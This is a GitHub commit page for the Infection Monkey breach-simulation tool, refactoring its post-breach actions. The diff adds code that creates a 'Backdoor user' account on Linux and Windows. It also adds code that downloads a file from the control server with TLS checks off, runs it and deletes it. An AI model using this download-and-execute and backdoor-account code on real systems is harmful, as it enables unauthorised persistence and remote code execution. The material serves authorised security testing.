Skip to content

Commit

Permalink
Merge pull request #316 from VakarisZ/post_breach_refactor
Browse files Browse the repository at this point in the history
Post breach refactored to support PBA's from list
  • Loading branch information
danielguardicore authored May 30, 2019
2 parents 2ea375a + b5b2fd7 commit 9f0e3c8
Show file tree
Hide file tree
Showing 15 changed files with 203 additions and 224 deletions.
4 changes: 0 additions & 4 deletions monkey/infection_monkey/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,6 @@ def from_kv(self, formatted_data):
# now we won't work at <2.7 for sure
network_import = importlib.import_module('infection_monkey.network')
exploit_import = importlib.import_module('infection_monkey.exploit')
post_breach_import = importlib.import_module('infection_monkey.post_breach')

unknown_items = []
for key, value in formatted_data.items():
Expand All @@ -37,9 +36,6 @@ def from_kv(self, formatted_data):
elif key == 'exploiter_classes':
class_objects = [getattr(exploit_import, val) for val in value]
setattr(self, key, class_objects)
elif key == 'post_breach_actions':
class_objects = [getattr(post_breach_import, val) for val in value]
setattr(self, key, class_objects)
else:
if hasattr(self, key):
setattr(self, key, value)
Expand Down
12 changes: 12 additions & 0 deletions monkey/infection_monkey/control.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,8 @@
LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024

PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"

# random number greater than 5,
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
TIMEOUT_IN_SECONDS = 15
Expand Down Expand Up @@ -307,3 +309,13 @@ def create_control_tunnel():
target_addr, target_port = None, None

return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)

@staticmethod
def get_pba_file(filename):
try:
return requests.get(PBA_FILE_DOWNLOAD %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
except requests.exceptions.RequestException:
return False
5 changes: 1 addition & 4 deletions monkey/infection_monkey/monkey.py
Original file line number Diff line number Diff line change
Expand Up @@ -121,10 +121,7 @@ def start(self):
system_info = system_info_collector.get_info()
ControlClient.send_telemetry("system_info_collection", system_info)

for action_class in WormConfiguration.post_breach_actions:
action = action_class()
action.act()

# Executes post breach actions
PostBreach().execute()

if 0 == WormConfiguration.depth:
Expand Down
2 changes: 1 addition & 1 deletion monkey/infection_monkey/monkey.spec
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ def main():
a = Analysis(['main.py'],
pathex=['..'],
hiddenimports=get_hidden_imports(),
hookspath=None,
hookspath=['./pyinstaller_hooks'],
runtime_hooks=None,
binaries=None,
datas=None,
Expand Down
3 changes: 0 additions & 3 deletions monkey/infection_monkey/post_breach/__init__.py
Original file line number Diff line number Diff line change
@@ -1,4 +1 @@
__author__ = 'danielg'


from add_user import BackdoorUser
11 changes: 11 additions & 0 deletions monkey/infection_monkey/post_breach/actions/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
from os.path import dirname, basename, isfile, join
import glob


def get_pba_files():
"""
Gets all files under current directory(/actions)
:return: list of all files without .py ending
"""
files = glob.glob(join(dirname(__file__), "*.py"))
return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')]
19 changes: 19 additions & 0 deletions monkey/infection_monkey/post_breach/actions/add_user.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
import datetime
from infection_monkey.post_breach.pba import PBA
from infection_monkey.config import WormConfiguration


__author__ = 'danielg'

LINUX_COMMANDS = ['useradd', '-M', '--expiredate',
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
WormConfiguration.user_to_add]

WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
WormConfiguration.remote_user_pass,
'/add', '/ACTIVE:NO']


class BackdoorUser(PBA):
def __init__(self):
super(BackdoorUser, self).__init__("Backdoor user", linux_cmd=LINUX_COMMANDS, windows_cmd=WINDOWS_COMMANDS)
91 changes: 91 additions & 0 deletions monkey/infection_monkey/post_breach/actions/users_custom_pba.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
import os
import logging

from infection_monkey.utils import is_windows_os
from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path

LOG = logging.getLogger(__name__)

__author__ = 'VakarisZ'

# Default commands for executing PBA file and then removing it
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"

DIR_CHANGE_WINDOWS = 'cd %s & '
DIR_CHANGE_LINUX = 'cd %s ; '


class UsersPBA(PBA):
"""
Defines user's configured post breach action.
"""
def __init__(self):
super(UsersPBA, self).__init__("File execution")
self.filename = ''
if not is_windows_os():
# Add linux commands to PBA's
if WormConfiguration.PBA_linux_filename:
if WormConfiguration.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd
self.filename = WormConfiguration.PBA_linux_filename
else:
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename)
self.command = DEFAULT_LINUX_COMMAND.format(file_path)
self.filename = WormConfiguration.PBA_linux_filename
elif WormConfiguration.custom_PBA_linux_cmd:
self.command = WormConfiguration.custom_PBA_linux_cmd
else:
# Add windows commands to PBA's
if WormConfiguration.PBA_windows_filename:
if WormConfiguration.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd
self.filename = WormConfiguration.PBA_windows_filename
else:
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename)
self.command = DEFAULT_WINDOWS_COMMAND.format(file_path)
self.filename = WormConfiguration.PBA_windows_filename
elif WormConfiguration.custom_PBA_windows_cmd:
self.command = WormConfiguration.custom_PBA_windows_cmd

def _execute_default(self):
if self.filename:
UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename)
return super(UsersPBA, self)._execute_default()

@staticmethod
def should_run(class_name):
if not is_windows_os():
if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd:
return True
else:
if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd:
return True
return False

@staticmethod
def download_pba_file(dst_dir, filename):
"""
Handles post breach action file download
:param dst_dir: Destination directory
:param filename: Filename
:return: True if successful, false otherwise
"""

pba_file_contents = ControlClient.get_pba_file(filename)

if not pba_file_contents or not pba_file_contents.content:
LOG.error("Island didn't respond with post breach file.")
return False
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(pba_file_contents.content)
return True
except IOError as e:
LOG.error("Can not upload post breach file to target machine: %s" % e)
return False
52 changes: 0 additions & 52 deletions monkey/infection_monkey/post_breach/add_user.py

This file was deleted.

68 changes: 0 additions & 68 deletions monkey/infection_monkey/post_breach/file_execution.py

This file was deleted.

Loading

0 comments on commit 9f0e3c8

Please sign in to comment.